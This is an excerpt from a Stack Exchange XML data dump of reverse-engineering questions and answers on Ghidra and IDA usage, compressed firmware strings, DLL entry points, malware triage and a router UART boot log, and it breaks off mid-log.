  <row Id="21972" PostTypeId="1" CreationDate="2019-08-25T11:21:33.653" Score="2" ViewCount="862" Body="&lt;p&gt;Ida prepends the memory segment before each instruction. How can it be added in Ghidra ? I've already tried to edit the listing fields without success as no option fits my need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;.text:00000000 c3 ret ...&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I currently have&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yfkKu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yfkKu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16079" LastActivityDate="2019-08-25T11:24:28.807" Title="Ghidra: Prepend memory segment in assembly listing view" Tags="|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21973" PostTypeId="2" ParentId="21972" CreationDate="2019-08-25T11:24:28.807" Score="5" Body="&lt;p&gt;Well, rubber ducking really works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found it myself, go to &lt;code&gt;Edit &amp;gt; Tool Options &amp;gt; Listing Fields &amp;gt; Address Field&lt;/code&gt; and check &lt;code&gt;Show Block Name&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="16079" LastActivityDate="2019-08-25T11:24:28.807" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21974" PostTypeId="1" AcceptedAnswerId="21977" CreationDate="2019-08-25T16:55:19.267" Score="1" ViewCount="161" Body="&lt;p&gt;Recently I have come across a few parts in a binary that looked odd to me, and I wanted to ask if this is something common compilers do, and if there is a way to undo it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The binary is from a raw flash dump)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few examples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;In Binary File:&#xA;4C 65 76 FF 65 6C 3D 30 28 4F 46 46 FF 29 2C 31 28 45 52 52 29 FF 2C 32 28 43 4D 44 29 2C FD 33 1C 41 50 52 4F 43 29&#xA;Levÿel=0(OFFÿ),1(ERR)ÿ,2(CMD),ý3.APROC)&#xA;&#xA;What it actually should look like:&#xA;Level=0(OFF),1(ERR),2(CMD),3(....PROC)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bin:&#xA;45 D2 60 67 65 6E 63 79 DA 50 FF 6F 70 20 54 65 73 74 20 33 4F 4E&#xA;EÒ`gencyÚPÿop Test 3ON&#xA;&#xA;Actual:&#xA;Emergency Loop Test ON&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bin:&#xA;53 FF 65 72 76 69 63 65 20 55 FF 6E 61 76 61 69 6C 61 62 E3 6C 65&#xA;Sÿervice Uÿnavailabãle&#xA;&#xA;Actual:&#xA;Service Unavailable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do you know what it should look like ?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because when the board is running, it is showing the exact same string in the GUI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Can you diff your dump and the binary found on disk ?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this image is extracted from a flash, I'd say it actually is stored like that on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Can you update your question with hex bytes in order to aid investigation ?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Are you aware of the compiler used ?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, I do not know what compiler was used. It has to be something for embedded systems tho, since it was running on an mcu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Could you provide some environment information ? (OS, arch, compiler...)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Embedded System Board running some sort of RENESAS Processor (exact model unknown)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every 8 bytes there is some sort of indicator. In my case mostly FF (ÿ) which indicates that the next 8 bytes are not encoded/compressed.&#xA;If the byte is something like FD (ý) which in Binary(MSB) is 10111111, means the 2nd byte is encoded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Levÿel=0(OFFÿ),1(ERR)ÿ,2(CMD),ý3.APROC)&#xA;678 12345678 12345678 12345678 12.345678&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Meaning (APROC) isn't actually (APROC) but rather something more like (....PROC)&lt;/p&gt;&#xA;" OwnerUserId="27416" LastEditorUserId="27416" LastEditDate="2019-08-25T22:10:14.983" LastActivityDate="2019-08-25T22:10:14.983" Title="Strings weirdly split in binary" Tags="|decompilation|encryption|decompress|gcc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21975" PostTypeId="2" ParentId="21971" CreationDate="2019-08-25T17:58:52.120" Score="2" Body="&lt;p&gt;Lets Break the algo into pieces before trying to understand &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the algo is broken into pieces using &lt;strong&gt;bodmas&lt;/strong&gt; (bracket open ,divide ,multiply ,add, subtract )  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and/or &lt;a href=&quot;https://docs.oracle.com/javase/tutorial/java/nutsandbolts/operators.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Operator precedence&lt;/strong&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;lets take the uncasted readB first &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static int readB(byte[] bytes, int i) {&#xA;    return ((bytes[i] &amp;amp; 255) &amp;lt;&amp;lt; 8)&#xA;            | (bytes[i + 1] &amp;amp; 255);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;prototype of function says it takes an array of bytes and an integer does some thing and returns an int back &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static int readB(byte[] bytes, int i)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;body of the function (where it does the aforementioned something &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return ((bytes[i] &amp;amp; 255) &amp;lt;&amp;lt; 8) | (bytes[i + 1] &amp;amp; 255);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;there are two bracketed expression one of which has a child  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. ((bytes[i] &amp;amp; 255) &amp;lt;&amp;lt; 8)    &#xA;          I. (bytes[i] &amp;amp; 255)&#xA; 3. (bytes[i + 1] &amp;amp; 255)  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;breaking the child expression apart it has three components  a constant 255 and two variables&lt;br&gt;&#xA;which are arguments or inputs provided to the function&lt;br&gt;&#xA;the byte array bytes[] and&lt;br&gt;&#xA;the integer i&lt;br&gt;&#xA;since i is an int the array can range from 0 to 2^31 -1  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;( think what will happen if you provide a null array or&lt;br&gt;&#xA; an array with just 1 value or &#xA;an array with 2^31-1 values&lt;br&gt;&#xA;or int &gt;= array size&lt;br&gt;&#xA;(&lt;a href=&quot;https://rextester.com/live/ETUY42530&quot; rel=&quot;nofollow noreferrer&quot;&gt;bounds checking&lt;/a&gt;&lt;br&gt;&#xA;this link has the following code check the results and see the thrown exception&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{  &#xA;    static byte foo[] = {1,2,3,4,5,6,7,8 };&#xA;    static int readB(byte[] bytes, int i)&#xA;    {&#xA;        return ((bytes[i] &amp;amp; 255) &amp;lt;&amp;lt; 8) | (bytes[i + 1] &amp;amp; 255);&#xA;    }&#xA;    public static void main(String args[])&#xA;    {&#xA;        for(int i = 0; i &amp;lt; foo.length ; i++ ) &#xA;        {&#xA;            System.out.printf(&quot;bounds check %d %d %d\n&quot; , i , foo[i] , readB(foo,i));&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result of running the code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Compilation time: 1.05 sec, absolute running time: 0.22 sec,  &#xA;cpu time: 0.15 sec, memory peak: 18 Mb, absolute service time: 1,27 sec&#xA;&#xA;Error(s), warning(s):&#xA;&#xA;Exception in thread &quot;main&quot; java.lang.ArrayIndexOutOfBoundsException: 8&#xA;    at Rextester.readB(source.java:12)&#xA;    at Rextester.main(source.java:18)&#xA;&#xA;bounds check 0 1 258&#xA;bounds check 1 2 515&#xA;bounds check 2 3 772&#xA;bounds check 3 4 1029&#xA;bounds check 4 5 1286&#xA;bounds check 5 6 1543&#xA;bounds check 6 7 1800&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bytes[i] &amp;amp; 255&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this actually is superfluous operation  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the bytes[i] array is already of BYTE type so the values can never exceed 255 and there is no point stripping the rest &#xA;this would only make sense if the type is &gt; BYTE like &lt;strong&gt;WORD foo[]&lt;/strong&gt; which can hold anything from &lt;strong&gt;0x0000 to 0xffff&lt;/strong&gt; or &lt;strong&gt;int foo[]&lt;/strong&gt; which can hold anything from &lt;strong&gt;0x00000000 to 0xffffffff&lt;/strong&gt; so stripping the hibyte and highwords may make sense .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in this specific code we can safely ignore this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so basically  it takes two bytes from the given position  and folds them into a bigger type&lt;br&gt;&#xA;so readA returns a SHORT and readB returns and INT type&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie readA takes two bytes from a give position and folds it into anything between &#xA;0x0000 and 0xffff&#xA;readB takes two bytes from a given position and folds into anything between &#xA;0x00000000 and 0xffffffff (actually  it is same as  0x00000 and 0xffff if not for size of type calculation or pointer arithmetic's )  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the third readC now should be clear enough for you  ittakes 4 bytes and folds it into anything between 0x00000000 and 0xffffffff (this function utilizes the whole range not unlike the readA() / readB() &lt;/p&gt;&#xA;&#xA;&lt;p&gt;see the shifts &lt;strong&gt;24,16,8&lt;/strong&gt;  which puts&lt;br&gt;&#xA;&lt;strong&gt;byte[ position 1]&lt;/strong&gt; at &lt;strong&gt;0xAA-??????&lt;/strong&gt;&lt;br&gt;&#xA;&lt;strong&gt;byte[ position 2]&lt;/strong&gt; at &lt;strong&gt;0xAA-BB-????&lt;/strong&gt;&lt;br&gt;&#xA;&lt;strong&gt;byte [position 3]&lt;/strong&gt; at &lt;strong&gt;0xAA-BB-CC-??&lt;/strong&gt; and&lt;br&gt;&#xA;&lt;strong&gt;byte [position 4]&lt;/strong&gt; at &lt;strong&gt;0xAA-BB-CC-DD&lt;/strong&gt;&lt;br&gt;&#xA;and returns back &lt;strong&gt;0xAABBCCDD&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-08-25T17:58:52.120" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21976" PostTypeId="2" ParentId="21974" CreationDate="2019-08-25T19:09:17.337" Score="1" Body="&lt;p&gt;A quick Google search revelead that &lt;code&gt;ÿ&lt;/code&gt; in UTF8 is &lt;code&gt;U+00FF&lt;/code&gt;. My guess would be that you're either looking at UTF8 bytes that are not being interpreted correctly or your dump has differences from executable file on disk that cause such corrupted characters. &#xA;I'll ask a couple more questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How do you know what it should look like ?&lt;/li&gt;&#xA;&lt;li&gt;Can you diff your dump and the binary found on disk ?&lt;/li&gt;&#xA;&lt;li&gt;Can you update your question with hex bytes in order to aid investigation ?&lt;/li&gt;&#xA;&lt;li&gt;Are you aware of the compiler used ?&lt;/li&gt;&#xA;&lt;li&gt;Could you provide some environment information ? (OS, arch, compiler...)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As for undoing the corruption, can't you do it yourself by hand ? In case it is not feasible / you don't want the questions above become more relevant&lt;/p&gt;&#xA;" OwnerUserId="16079" LastActivityDate="2019-08-25T19:09:17.337" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21977" PostTypeId="2" ParentId="21974" CreationDate="2019-08-25T21:20:16.163" Score="3" Body="&lt;p&gt;Shot in the dark: Maybe this text (or the whole binary image) is compressed. Think something like &lt;a href=&quot;https://en.wikipedia.org/wiki/Lempel%E2%80%93Ziv%E2%80%93Storer%E2%80%93Szymanski&quot; rel=&quot;nofollow noreferrer&quot;&gt;LZSS&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact that there is a mystery byte containing eight &lt;code&gt;1&lt;/code&gt; bits, followed by eight literal and correct bytes, indicates that maybe the mystery bytes are actually flags that use each bit position to differentiate uncompressed data bytes from pointers to earlier data. Cases where the mystery byte is &lt;em&gt;not&lt;/em&gt; &lt;code&gt;FF&lt;/code&gt; are followed by text that is more corrupted than the other instances, leading credence to the idea that &lt;code&gt;0&lt;/code&gt; bits mean pointer data.&lt;/p&gt;&#xA;" OwnerUserId="25711" LastActivityDate="2019-08-25T21:20:16.163" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21981" PostTypeId="1" AcceptedAnswerId="22017" CreationDate="2019-08-26T14:41:13.863" Score="2" ViewCount="358" Body="&lt;p&gt;I am still working on the binary image &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/21974/245&quot;&gt;from the last question&lt;/a&gt;, and have already found out that my &quot;corrupted&quot; data is actually just compressed. But now I have another issue because I don't know what compression type was used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I already know:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data consists out of at least 9 Bytes. The first byte is always a &quot;flag&quot; wich describes in it's 8 bits wehter the next 8 Bytes are compressed or not. A Compressed &quot;Byte&quot; is stored as two Bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ß\DB\cóA\c&#xA;ß -&amp;gt; DF -&amp;gt; 11111011 (MSB) -&amp;gt; 6th byte encoded&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means that &quot;óA&quot; actually stands for &quot;ache&quot; but i have not yet found where &quot;ache&quot; is actually stored in memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Image in question is available here: &lt;a href=&quot;https://we.tl/t-tpG9EjpSbr&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://we.tl/t-tpG9EjpSbr&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27416" LastEditorUserId="27416" LastEditDate="2019-08-26T17:04:37.203" LastActivityDate="2019-09-27T23:28:49.163" Title="What compression type has been used here?" Tags="|decompress|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21984" PostTypeId="1" CreationDate="2019-08-27T00:58:48.837" Score="2" ViewCount="832" Body="&lt;p&gt;I am trying to analyze a malicious DLL and when I loaded it in IDA, I can see two functions - &lt;code&gt;DLLEntryPoint&lt;/code&gt; and &lt;code&gt;DLLMain&lt;/code&gt;. I then proceeded to change the format by switching the characteristics bit that identified the file as a DLL to an EXE. When I load the file again in IDA, I can see two functions - &lt;code&gt;Start&lt;/code&gt; and &lt;code&gt;WinMain&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I understand, &lt;code&gt;Start&lt;/code&gt; is the entry point for an exe and it does some initialization before it calls &lt;code&gt;WinMain&lt;/code&gt; or &lt;code&gt;Main&lt;/code&gt;. Are &lt;code&gt;DLLEntryPoint&lt;/code&gt; and &lt;code&gt;DLLMain&lt;/code&gt; similar functions for Dlls?&lt;/p&gt;&#xA;" OwnerUserId="16108" LastActivityDate="2019-08-28T12:34:38.930" Title="Start vs WinMain()" Tags="|ida|malware|dll|exe|entry-point|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21985" PostTypeId="2" ParentId="16743" CreationDate="2019-08-27T08:31:49.337" Score="0" Body="&lt;p&gt;Adapted code Shelwien for linux/gcc&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define uint int&#xA;#define byte char&#xA;#define put(c) putchar(c)&#xA;#define get() getchar()&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;&#xA;struct lztp_t {&#xA;  byte  hash[16];&#xA;  uint  size;&#xA;};&#xA;&#xA;uint bitbuf, bitnum;&#xA;&#xA;uint getbit( void ) {&#xA;  uint r;&#xA;  if( bitnum==0 ) {&#xA;    bitbuf = get();&#xA;    bitbuf|= 256*get();&#xA;    bitnum =16;&#xA;  }&#xA;  r = (bitbuf&amp;gt;&amp;gt;15)&amp;amp;1; bitbuf&amp;lt;&amp;lt;=1; bitnum--;&#xA;  return r;&#xA;}&#xA;&#xA;uint getvar( void ) {&#xA;  uint r = 1; do r = 2*r + getbit(); while( getbit() );&#xA;  return r;&#xA;}&#xA;&#xA;int main( void ) {&#xA;  uint c,i, winptr, id, l,d;&#xA;&#xA;  enum{ winlog=16, winsize=1&amp;lt;&amp;lt;winlog, winmask=winsize-1 };&#xA;  byte win[winsize];&#xA;&#xA;  struct lztp_t hdr;&#xA;  for( i=0; i&amp;lt;sizeof(hdr); i++ ) if( (c=get())==-1 ) break; else ((byte*)&amp;amp;hdr)[i]=c;&#xA;  if( c==-1 ) return -1;&#xA;&#xA;  winptr=0; bitbuf=0; bitnum=1;&#xA;  while( winptr&amp;lt;hdr.size ) {&#xA;    id = getbit();&#xA;    if( id==0 ) {&#xA;      // literal&#xA;      c = get();&#xA;      put( win[(winptr++)&amp;amp;winmask]=c );&#xA;    } else {&#xA;      // match&#xA;      l = getvar()-2+4;&#xA;      d = (getvar()-2)*256;&#xA;      d+= get() + 1;&#xA;      while( l-- ) {&#xA;        c = win[(winptr-d)&amp;amp;winmask];&#xA;        put( win[(winptr++)&amp;amp;winmask]=c );&#xA;      }&#xA;    } // if id&#xA;  } // while&#xA;&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29427" LastActivityDate="2019-08-27T08:31:49.337" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21986" PostTypeId="2" ParentId="21966" CreationDate="2019-08-27T12:58:29.123" Score="1" Body="&lt;p&gt;I noticed this too, it's broke currently. Event if you pass the command line like slinkin says, only part of it will show up.&#xA;I went back to an older 8/9/2019 for now and it works fine.&lt;/p&gt;&#xA;" OwnerUserId="3828" LastActivityDate="2019-08-27T12:58:29.123" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21988" PostTypeId="1" CreationDate="2019-08-28T12:00:01.930" Score="-1" ViewCount="133" Body="&lt;p&gt;I tried to use process monitor to find out what program &lt;code&gt;4.exe&lt;/code&gt; did on my system. However, I could not find what changes were made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3Oyo4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3Oyo4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that this program modifies some files and the registry, but I do not know which files and registry keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked registries in Google and couldn’t figure out what is exactly the threat of the program to the system? The question is  about a kind of modification on the files . I haven’t noticed such kind of modification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I spent many hours on debugging the program and tracing assembly code, but couldn’t find the damage file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/0sfrg8c2phcor05/4.zip?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;download the file from here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29438" LastEditorUserId="29438" LastEditDate="2019-08-30T03:00:42.277" LastActivityDate="2019-08-30T03:00:42.277" Title="malware analysis" Tags="|windows|malware|pe|" AnswerCount="1" CommentCount="1" ClosedDate="2019-08-28T15:01:57.283" ContentLicense="CC BY-SA 4.0" />
  <row Id="21989" PostTypeId="2" ParentId="21984" CreationDate="2019-08-28T12:34:38.930" Score="2" Body="&lt;p&gt;First, please &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/2089/245&quot;&gt;read this&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially the difference is (in both cases) that one - the entry point - refers to the address where the initial code will be located and the other - &quot;main function&quot; - will be the one provided by the (C) runtime, potentially hiding gory details from you.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;From what I understand, &lt;code&gt;Start&lt;/code&gt; is the entry point for an exe and it&#xA;  does some initialization before it calls &lt;code&gt;WinMain&lt;/code&gt; or &lt;code&gt;Main&lt;/code&gt;. Are&#xA;  &lt;code&gt;DLLEntryPoint&lt;/code&gt; and &lt;code&gt;DLLMain&lt;/code&gt; similar functions for Dlls?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is almost correct. &lt;code&gt;Start&lt;/code&gt; &lt;em&gt;is&lt;/em&gt; the symbolic name of the entry point in this case, true. However, whether it performs some kind of initialization depends entirely on the library. I wager IDA has recognized some runtime library (such as the Visual C++ runtime) by way of a FLIRT signature and used that information to point out &lt;code&gt;DllMain&lt;/code&gt; to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conceptually &lt;code&gt;DLLEntryPoint&lt;/code&gt; and &lt;code&gt;DLLMain&lt;/code&gt; mirror what you found for &lt;code&gt;.exe&lt;/code&gt; files, yes.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2019-08-28T12:34:38.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21990" PostTypeId="1" CreationDate="2019-08-28T14:46:24.287" Score="1" ViewCount="715" Body="&lt;p&gt;It is trivial to do it with &lt;code&gt;Alt+G&lt;/code&gt; command from GUI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I set multiple breakpoints programmatically, IDA doesn't recognize them as &quot;thumb&quot; mode ones and sets &lt;code&gt;T&lt;/code&gt; value at breakpoint address to &lt;code&gt;0&lt;/code&gt;. When IDA tries to use ARM mode instead of Thumb, it is guaranteed to crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting &lt;code&gt;T&lt;/code&gt; value 50 times manually is supposed to be too slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I try to set &lt;code&gt;T = 1&lt;/code&gt; programmatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I have no idea how to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idaapi.set_sreg_at_next_code(function_pointer, function_pointer + 2, idaapi.str2reg(&quot;T&quot;), 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idaapi.set_default_sreg_value(idaapi.getseg(function_pointer), idaapi.str2reg(&quot;T&quot;), 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;IDA simply ignores both calls, no error occurs, but &lt;code&gt;T&lt;/code&gt; value doesn't change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to change virtual &lt;code&gt;T&lt;/code&gt; segment register value with IDAPython in ARM mode?&lt;/p&gt;&#xA;" OwnerUserId="18321" LastActivityDate="2020-01-26T10:02:00.267" Title="How to set virtual `T` register programmatically in IDA Python?" Tags="|ida|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21991" PostTypeId="2" ParentId="21988" CreationDate="2019-08-28T15:01:47.337" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;sha256: &lt;code&gt;9dc7380aaef46e591a135c9b314cd6bb1c5b014e6b35f8ec187e090e2af66f33&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;md5: &lt;code&gt;fd44253addf0260c33dfb504523a6ad6&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When analyzing software suspected to have been designed for criminal purposes, uploading the file to VirusTotal seems to be a good first step. In this case, when this file is uploaded to &lt;a href=&quot;https://www.virustotal.com/gui/file/9dc7380aaef46e591a135c9b314cd6bb1c5b014e6b35f8ec187e090e2af66f33/detection&quot; rel=&quot;nofollow noreferrer&quot;&gt;VirusTotal&lt;/a&gt; and we click on the &lt;a href=&quot;https://www.virustotal.com/gui/file/9dc7380aaef46e591a135c9b314cd6bb1c5b014e6b35f8ec187e090e2af66f33/behavior/VirusTotal%20Jujubox&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Behavior&quot;&lt;/a&gt; tab, there is a choice of reports from 4 different emulators/sanboxes to look over, all of which list file system interactions and registry interactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are interested in malware analysis, there are many resources available to help you get started. I have heard &lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/com/1593272901&quot; rel=&quot;nofollow noreferrer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Practical Malware Analysis&lt;/a&gt; is quite good, but there are many others.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2019-08-28T15:01:47.337" CommentCount="3" CommunityOwnedDate="2019-08-28T15:01:47.337" ContentLicense="CC BY-SA 4.0" />
  <row Id="21992" PostTypeId="1" AcceptedAnswerId="21994" CreationDate="2019-08-28T15:12:15.980" Score="3" ViewCount="479" Body="&lt;p&gt;When I use the context menu &quot;List cross references to&quot;, a window opens with a list of all positions found which references the position, and I can double click to a function. But then the window closes, because it is a modal window. Is it possible that it stays open (non-modal) or is there another way to open it again quickly without jumping back and selecting the context menu item again?&lt;/p&gt;&#xA;" OwnerUserId="29440" LastActivityDate="2019-08-28T17:40:12.297" Title="IDA Xrefs window keep open?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21993" PostTypeId="1" AcceptedAnswerId="22282" CreationDate="2019-08-28T16:23:21.127" Score="4" ViewCount="1780" Body="&lt;p&gt;I have an ISP-provided router, Huawei B5318-42. I connected to it through UART and a UART-USB converter, copied the output from boot, and managed to figure out which chip is the onboard flash memory. By putting a jumper connected to onboard VCC on the flash memory, I am able stop boot at certain points w/o it being able to recover or continue, but that hasn't helped me get a shell. There is a point at boot (#Reset_MT7530) where there is a timer and four options (one of which is command prompt!) but I cannot choose anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I have so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Flash memory data sheet: &lt;a href=&quot;http://static6.arrow.com/aropdfconversion/ad37e5e560057875befe533ab753d2eb5063011f/125413166402097mx25l25635f203v20256mb20v1.5.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://static6.arrow.com/aropdfconversion/ad37e5e560057875befe533ab753d2eb5063011f/125413166402097mx25l25635f203v20256mb20v1.5.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it runs &lt;strong&gt;BusyBox&lt;/strong&gt; and &lt;strong&gt;vPort&lt;/strong&gt; Release +D2Tech+ VPORT_R_1_6_91 based on boot sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is MIPS architercture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Raw output after pressing reset on the router:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    press for several seconds&#xA;ralink_gpio: sending a SIGUSR2 to process 332&#xA;[Reboot.sh]: start reboot......&#xA;unkown led action&#xA;[CM]:send reboot msg to ODU.&#xA;[CM]:send msg magic:0xaabbccdd, class:0x80, msgtype:0x40.&#xA;press for several seconds&#xA;ralink_gpio: sending a SIGUSR2 to process 332&#xA;[CM]:send reboot msg to ODU.&#xA;[CM]:send reboot msg to ODU.&#xA;[Reboot.sh]: start reboot......&#xA;unkown led action&#xA;[CM]:send msg magic:0xaabbccdd, class:0x80, msgtype:0x40.&#xA;1 /sbin/miniupnpd.sh remove &amp;amp;&amp;amp; at^tmode=3&#xA;[CM]:send reboot msg to ODU.&#xA;[CM]:send reboot msg to ODU.&#xA;1 /sbin/miniupnpd.sh remove &amp;amp;&amp;amp; 